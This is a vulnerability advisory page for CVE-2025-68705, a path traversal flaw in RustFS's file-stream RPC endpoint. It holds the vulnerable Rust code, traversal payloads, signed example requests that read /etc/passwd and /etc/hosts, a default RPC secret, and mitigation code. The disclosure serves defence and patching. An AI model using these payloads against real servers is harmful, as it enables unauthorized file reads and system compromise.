CVE-2025-68705: RustFS Path Traversal Vulnerability

Published Jan 7, 2026
·
Updated

RustFS Path Traversal Vulnerability

Vulnerability Details

- CVE ID: - Severity: Critical (CVSS estimated 9.9) - Impact: Arbitrary File Read/Write - Component: /rustfs/rpc/readfilestream endpoint - Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

rust // local.rs:1791 - No path sanitization! let filepath = volumedir.join(Path::new(&path)); // DANGEROUS! checkpathlength(filepath.tostringlossy().tostring().asstr())?; // Only checks length let mut f = self.openfile(filepath, ORDONLY, volumedir).await?;

The code uses PathBuf::join() without: - Canonicalization - Path boundary validation - Protection against ../ sequences - Protection against absolute paths

Proof of Concept

Test Environment

- Target: RustFS v0.0.5 (Docker container) - Endpoint: http://localhost:9000/rustfs/rpc/readfilestream - RPC Secret: rustfsadmin (from RUSTFSSECRETKEY) - Disk ID: /data/rustfs0 - Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

python Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved: root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

---

2. Read /etc/hosts ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved: 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2

Impact: Network configuration disclosure

---

3. Read /etc/hostname ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved: d25e05a19bd2

Impact: System information disclosure

---

Technical Analysis

Data Flow

1. HTTP Request ↓ 2. RPC Signature Verification (verifyrpcsignature) ↓ 3. Find Disk (findlocaldisk) ↓ 4. Read File Stream (disk.readfilestream) ↓ 5. VULNERABLE: volumedir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd

Path Traversal Mechanism

rust // Example traversal: volumedir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd"

// PathBuf::join() resolves to: filepath = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped!

Why It Works

1. No Canonicalization: Code doesn't use canonicalize() before validation 2. No Boundary Check: No verification that final path is within volumedir 3. PathBuf::join() Behavior: Automatically resolves ../ sequences 4. Length-Only Validation: checkpathlength() only checks string length

Special Considerations

- File Size Constraint: The length parameter must exactly match file size - Code validates: file.len() >= offset + length - Otherwise returns DiskError::FileCorrupt - Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys) - Disk Requirement: Disk must be registered in GLOBALLOCALDISKMAP

Impact Assessment

Confidentiality Impact: HIGH

- ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (/etc/passwd, /etc/hosts) - ⚠️ Potential to read: - SSH keys (/root/.ssh/idrsa) - Application secrets - RustFS configuration files - Environment variables from /proc

Integrity Impact: HIGH

- ⚠️ Similar vulnerability exists in putfilestream (not tested) - ⚠️ Arbitrary file write likely possible - ⚠️ Could write to: - Cron jobs - authorizedkeys - System binaries (if permissions allow)

Availability Impact: MEDIUM

- ⚠️ walkdir endpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

1. Network Access: Ability to reach RustFS RPC endpoints 2. RPC Secret Knowledge: Knowledge of RUSTFSSECRETKEY - Default: "rustfs-default-secret" - Production: From environment variable or config 3. Disk/Volume Knowledge: Valid disk ID and volume name 4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

- Without Secret: Impossible (signature verification) - With Secret: Trivial (automated script) - With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

1. Path Canonicalization rust async fn readfilestream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volumedir = self.getbucketpath(volume)?;

// CRITICAL FIX: let filepath = volumedir.join(Path::new(&path)); let canonical = filepath.canonicalize() .maperr(|| DiskError::FileNotFound)?;

// Validate path is within volumedir if !canonical.startswith(&volumedir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); }

// Continue with validated path... }

2. Path Component Validation rust // Reject dangerous path components if path.contains("..") || path.startswith('/') { return Err(DiskError::InvalidArgument); }

3. Use path-clean Crate rust use pathclean::PathClean;

let cleanedpath = PathBuf::from(&path).clean(); if cleanedpath.tostringlossy().contains("..") { return Err(DiskError::InvalidArgument); }

Additional Security Measures

4. Audit Logging: Log all RPC file operations with full paths 5. Rate Limiting: Prevent DoS via repeated RPC calls 6. Secret Rotation: Ensure unique RPC secrets per deployment 7. Network Segmentation: Restrict RPC endpoint access 8. Security Testing: Add path traversal tests to test suite

Long-term Improvements

9. Chroot Jail: Isolate RPC operations in chroot environment 10. Least Privilege: Run RustFS with minimal file system permissions 11. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploitpathtraversal.py

Usage

bash Ensure RustFS is running docker compose ps

Run exploit python3 exploitpathtraversal.py

Output

[+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

Other sources

RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 to 1.0.0-alpha.78, RustFS contains a path traversal vulnerability in the /rustfs/rpc/readfilestream endpoint. This issue has been patched in version 1.0.0-alpha.79.

MITRE

Affected Software

67 affected componentsFixes available
rust/rustfs>=1.0.0-alpha.13<=1.0.0-alpha.78
1.0.0-alpha.79
RustFS Rustfs Rust=1.0.0-alpha13
RustFS Rustfs Rust=1.0.0-alpha14
RustFS Rustfs Rust=1.0.0-alpha15
RustFS Rustfs Rust=1.0.0-alpha16
RustFS Rustfs Rust=1.0.0-alpha17
RustFS Rustfs Rust=1.0.0-alpha18
RustFS Rustfs Rust=1.0.0-alpha19
RustFS Rustfs Rust=1.0.0-alpha20
RustFS Rustfs Rust=1.0.0-alpha21
RustFS Rustfs Rust=1.0.0-alpha22
RustFS Rustfs Rust=1.0.0-alpha23
RustFS Rustfs Rust=1.0.0-alpha24
RustFS Rustfs Rust=1.0.0-alpha25
RustFS Rustfs Rust=1.0.0-alpha26
RustFS Rustfs Rust=1.0.0-alpha27
RustFS Rustfs Rust=1.0.0-alpha28
RustFS Rustfs Rust=1.0.0-alpha29
RustFS Rustfs Rust=1.0.0-alpha30
RustFS Rustfs Rust=1.0.0-alpha31
RustFS Rustfs Rust=1.0.0-alpha32
RustFS Rustfs Rust=1.0.0-alpha33
RustFS Rustfs Rust=1.0.0-alpha34
RustFS Rustfs Rust=1.0.0-alpha35
RustFS Rustfs Rust=1.0.0-alpha36
RustFS Rustfs Rust=1.0.0-alpha37
RustFS Rustfs Rust=1.0.0-alpha38
RustFS Rustfs Rust=1.0.0-alpha39
RustFS Rustfs Rust=1.0.0-alpha40
RustFS Rustfs Rust=1.0.0-alpha41
RustFS Rustfs Rust=1.0.0-alpha42
RustFS Rustfs Rust=1.0.0-alpha43
RustFS Rustfs Rust=1.0.0-alpha44
RustFS Rustfs Rust=1.0.0-alpha45
RustFS Rustfs Rust=1.0.0-alpha46
RustFS Rustfs Rust=1.0.0-alpha47
RustFS Rustfs Rust=1.0.0-alpha48
RustFS Rustfs Rust=1.0.0-alpha49
RustFS Rustfs Rust=1.0.0-alpha50
RustFS Rustfs Rust=1.0.0-alpha51
RustFS Rustfs Rust=1.0.0-alpha52
RustFS Rustfs Rust=1.0.0-alpha53
RustFS Rustfs Rust=1.0.0-alpha54
RustFS Rustfs Rust=1.0.0-alpha55
RustFS Rustfs Rust=1.0.0-alpha56
RustFS Rustfs Rust=1.0.0-alpha57
RustFS Rustfs Rust=1.0.0-alpha58
RustFS Rustfs Rust=1.0.0-alpha59
RustFS Rustfs Rust=1.0.0-alpha60
RustFS Rustfs Rust=1.0.0-alpha61
RustFS Rustfs Rust=1.0.0-alpha62
RustFS Rustfs Rust=1.0.0-alpha63
RustFS Rustfs Rust=1.0.0-alpha64
RustFS Rustfs Rust=1.0.0-alpha65
RustFS Rustfs Rust=1.0.0-alpha66
RustFS Rustfs Rust=1.0.0-alpha67
RustFS Rustfs Rust=1.0.0-alpha68
RustFS Rustfs Rust=1.0.0-alpha69
RustFS Rustfs Rust=1.0.0-alpha70
RustFS Rustfs Rust=1.0.0-alpha71
RustFS Rustfs Rust=1.0.0-alpha72
RustFS Rustfs Rust=1.0.0-alpha73
RustFS Rustfs Rust=1.0.0-alpha74
RustFS Rustfs Rust=1.0.0-alpha75
RustFS Rustfs Rust=1.0.0-alpha76
RustFS Rustfs Rust=1.0.0-alpha77
RustFS Rustfs Rust=1.0.0-alpha78

Event History

Jan 7, 2026
Advisory Published
via GitHub·06:15 PM
Data Sourced
via GitHub·06:15 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·08:31 PM
Data Sourced
via MITRE·08:31 PM
DescriptionWeakness
Data Sourced
via NVD·09:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-68705?

CVE-2025-68705 has a critical severity rating with a CVSS score estimated at 9.9.

2

How do I fix CVE-2025-68705?

To fix CVE-2025-68705, update to version 1.0.0-alpha.79 or later of the rustfs package.

3

What is the impact of CVE-2025-68705?

The impact of CVE-2025-68705 is arbitrary file read and write access due to insufficient path validation.

4

Which component is affected by CVE-2025-68705?

The affected component in CVE-2025-68705 is the /rustfs/rpc/read_file_stream endpoint.

5

What is the root cause of CVE-2025-68705?

The root cause of CVE-2025-68705 is insufficient path validation in the rustfs implementation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203